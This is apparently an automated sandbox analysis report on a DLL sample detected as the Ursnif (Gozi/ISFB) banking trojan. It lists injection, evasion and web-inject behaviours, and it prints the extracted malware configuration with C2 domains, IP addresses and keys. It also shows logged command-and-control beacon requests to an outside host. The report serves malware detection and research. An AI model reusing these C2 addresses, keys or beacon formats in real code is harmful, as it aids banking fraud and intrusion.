Windows Analysis Report
qOfIxt1fnQ.dll

Overview

General Information

Sample Name: qOfIxt1fnQ.dll
Analysis ID: 620327
MD5: 00d3b863abdafc62d9b49f99aec5955c
SHA1: 79d75aa72072ddd75a12e849d27b20cc903b9b01
SHA256: 5298257931fb4fcb64bd0e0ba48a2f1f4f1b501813b27d2aabd82056a4feb957
Tags: dllgeoGoziISFBITAUrsnif
Infos:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000002.00000002.542153003.0000000005800000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
Multi AV Scanner detection for submitted file
Source: qOfIxt1fnQ.dll ReversingLabs: Detection: 50%
Machine Learning detection for sample
Source: qOfIxt1fnQ.dll Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE5FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 2_2_00FE5FBB
Uses 32bit PE files
Source: qOfIxt1fnQ.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000002.00000003.481341256.0000000005E10000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.486547217.0000000005E10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: qOfIxt1fnQ.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000002.00000003.481341256.0000000005E10000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.486547217.0000000005E10000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058065C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 2_2_058065C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058099BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 2_2_058099BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581BAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 2_2_0581BAD1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580FD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 2_2_0580FD47

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 185.189.151.28 80 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.7:49768 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.7:49773 -> 185.189.151.28:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.7:49773 -> 185.189.151.28:80
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-SOFTPLUSCH AS-SOFTPLUSCH
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /drew/jXEA7ByXkNY6ttIyk/c1_2FpaHGG8A/Yx7P_2FoAZx/2kWyqwCGw_2Fq6/CqvTpauiAtq1S6NEfUFGz/azQBCUCEVQkwLO92/zmVyPCpquTYZDzt/P2EwT8kh0KHu8Lbvc2/Ag_2FS5Oy/Bwa_2FhroFaW1JJ7Yi_2/FCwhCYTX1vsSGLasuXt/5_2FN41F2ddMFyf13Vxa_2/FlhkTkOugqgwW/2xYMihrB/d1UYCEPSvlBu19hXDBks3k1/KTXlXsgnHu/yq5ztS0tgrWgRYyLM/xsuyeva.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/yTRJAUZiMQ_2FTcjFd/OV31p2h1j/mj3Z9n_2BOBKbildEj82/DKgORp8r4Xx_2BnVgp_/2F_2F_2BvQg_2BZVCdBCQi/QtPh_2BkpemuH/LSUbfgED/uR6Ni2U_2B2TrekewEGTeeM/QVV2Ymg6iJ/T2mSA6ICc_2Fr99oW/m0E6ateNanP0/G9bVGRc76Wh/i2tCqLMog2Cd2S/BjsyNkJBT9sJ3ChkZSwYM/3GFd1ud_2Fz_2BWJ/ABPbUtrh_2BqYag/UdccpuDhsuWiS1djZj/kqFinK56w/1Yn7inetR1GAB9jPIhty/UC9Ej8wR/j.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/G9Zl6xXWK7/sq6mJwqNR6fvih_2F/3BlWMH0TTomc/U1aMCISKVce/sD1_2BamSatrUi/mArOkW2r7_2B0uc5NIyZ1/fqCKZKNfwHwtB7N_/2BOdKH9zPCcKh5j/aH7OQyg_2B7xMhAY1R/xlVSoeftX/sTSsZsRI3rAEzydEwaZ5/9QwFFn9O9UzVILrRbdl/7UPI548brok0gcZoBkvtCI/1vWqX_2Bjtpxo/llnrjwNT/qDZ6Nfo6aLVU8WQtuO_2FVg/zPD0a3AU1_/2BluOSPr1CN4zp_2B/j9DB_2Fzln/wTp23X8qY/8v5Y.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: rundll32.exe, 00000002.00000003.478528295.0000000005DF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000003.492379314.000001F7004CC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000016.00000003.494043420.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000016.00000003.493947920.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000002.00000003.478528295.0000000005DF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000003.492379314.000001F7004CC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000016.00000003.494043420.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000016.00000003.493947920.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: powershell.exe, 00000010.00000003.458108537.000001F77F848000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rundll32.exe, 00000002.00000003.478528295.0000000005DF8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000003.492379314.000001F7004CC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000016.00000003.494043420.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000016.00000003.493947920.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: explorer.exe, 00000019.00000000.502228665.00000000026D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.536436681.00000000026D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.536697356.00000000026D0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.adobY
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE1CA5 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 2_2_00FE1CA5
Source: global traffic HTTP traffic detected: GET /drew/jXEA7ByXkNY6ttIyk/c1_2FpaHGG8A/Yx7P_2FoAZx/2kWyqwCGw_2Fq6/CqvTpauiAtq1S6NEfUFGz/azQBCUCEVQkwLO92/zmVyPCpquTYZDzt/P2EwT8kh0KHu8Lbvc2/Ag_2FS5Oy/Bwa_2FhroFaW1JJ7Yi_2/FCwhCYTX1vsSGLasuXt/5_2FN41F2ddMFyf13Vxa_2/FlhkTkOugqgwW/2xYMihrB/d1UYCEPSvlBu19hXDBks3k1/KTXlXsgnHu/yq5ztS0tgrWgRYyLM/xsuyeva.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/yTRJAUZiMQ_2FTcjFd/OV31p2h1j/mj3Z9n_2BOBKbildEj82/DKgORp8r4Xx_2BnVgp_/2F_2F_2BvQg_2BZVCdBCQi/QtPh_2BkpemuH/LSUbfgED/uR6Ni2U_2B2TrekewEGTeeM/QVV2Ymg6iJ/T2mSA6ICc_2Fr99oW/m0E6ateNanP0/G9bVGRc76Wh/i2tCqLMog2Cd2S/BjsyNkJBT9sJ3ChkZSwYM/3GFd1ud_2Fz_2BWJ/ABPbUtrh_2BqYag/UdccpuDhsuWiS1djZj/kqFinK56w/1Yn7inetR1GAB9jPIhty/UC9Ej8wR/j.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/G9Zl6xXWK7/sq6mJwqNR6fvih_2F/3BlWMH0TTomc/U1aMCISKVce/sD1_2BamSatrUi/mArOkW2r7_2B0uc5NIyZ1/fqCKZKNfwHwtB7N_/2BOdKH9zPCcKh5j/aH7OQyg_2B7xMhAY1R/xlVSoeftX/sTSsZsRI3rAEzydEwaZ5/9QwFFn9O9UzVILrRbdl/7UPI548brok0gcZoBkvtCI/1vWqX_2Bjtpxo/llnrjwNT/qDZ6Nfo6aLVU8WQtuO_2FVg/zPD0a3AU1_/2BluOSPr1CN4zp_2B/j9DB_2Fzln/wTp23X8qY/8v5Y.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected Ursnif
Source: Yara match File source: 00000010.00000003.492379314.000001F7004CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.422014842.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.478528295.0000000005DF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376465602.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376077940.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.494043420.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376224243.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376293095.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376618424.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376605929.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.493947920.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376565939.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.425214874.0000000004FBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423746626.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376373630.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5600, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 492, type: MEMORYSTR
Source: Yara match File source: 2.2.rundll32.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.51394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000003.539442937.0000000004D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.541455340.0000000004E3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490107401.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490844761.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.542153003.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423030052.00000000050BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.492781969.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423208841.0000000005139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Creates a DirectInput object (often for capturing keystrokes)
Source: loaddll32.exe, 00000000.00000002.354383505.00000000014EB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud
barindex
Yara detected Ursnif
Source: Yara match File source: 00000010.00000003.492379314.000001F7004CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.422014842.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.478528295.0000000005DF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376465602.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376077940.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.494043420.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376224243.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376293095.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376618424.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376605929.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.493947920.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376565939.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.425214874.0000000004FBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423746626.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376373630.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5600, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 492, type: MEMORYSTR
Source: Yara match File source: 2.2.rundll32.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.51394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000003.539442937.0000000004D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.541455340.0000000004E3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490107401.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490844761.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.542153003.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423030052.00000000050BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.492781969.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423208841.0000000005139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE5FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 2_2_00FE5FBB

System Summary
barindex
Writes registry values via WMI
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Uses 32bit PE files
Source: qOfIxt1fnQ.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE829C 2_2_00FE829C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE1645 2_2_00FE1645
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE4BF1 2_2_00FE4BF1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05823DB0 2_2_05823DB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581154D 2_2_0581154D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058067CA 2_2_058067CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581D7F1 2_2_0581D7F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581FF4D 2_2_0581FF4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580B238 2_2_0580B238
Contains functionality to launch a process as a different user
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05818E57 CreateProcessAsUserW, 2_2_05818E57
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE4321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 2_2_00FE4321
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE190C GetProcAddress,NtCreateSection,memset, 2_2_00FE190C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE6D0A NtMapViewOfSection, 2_2_00FE6D0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE84C1 NtQueryVirtualMemory, 2_2_00FE84C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05816DE0 memcpy,memcpy,memcpy,NtUnmapViewOfSection,NtClose,memset, 2_2_05816DE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058074AE NtQueryInformationProcess, 2_2_058074AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580C431 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 2_2_0580C431
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05810782 memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, 2_2_05810782
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581BE80 NtMapViewOfSection, 2_2_0581BE80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058161AE GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, 2_2_058161AE
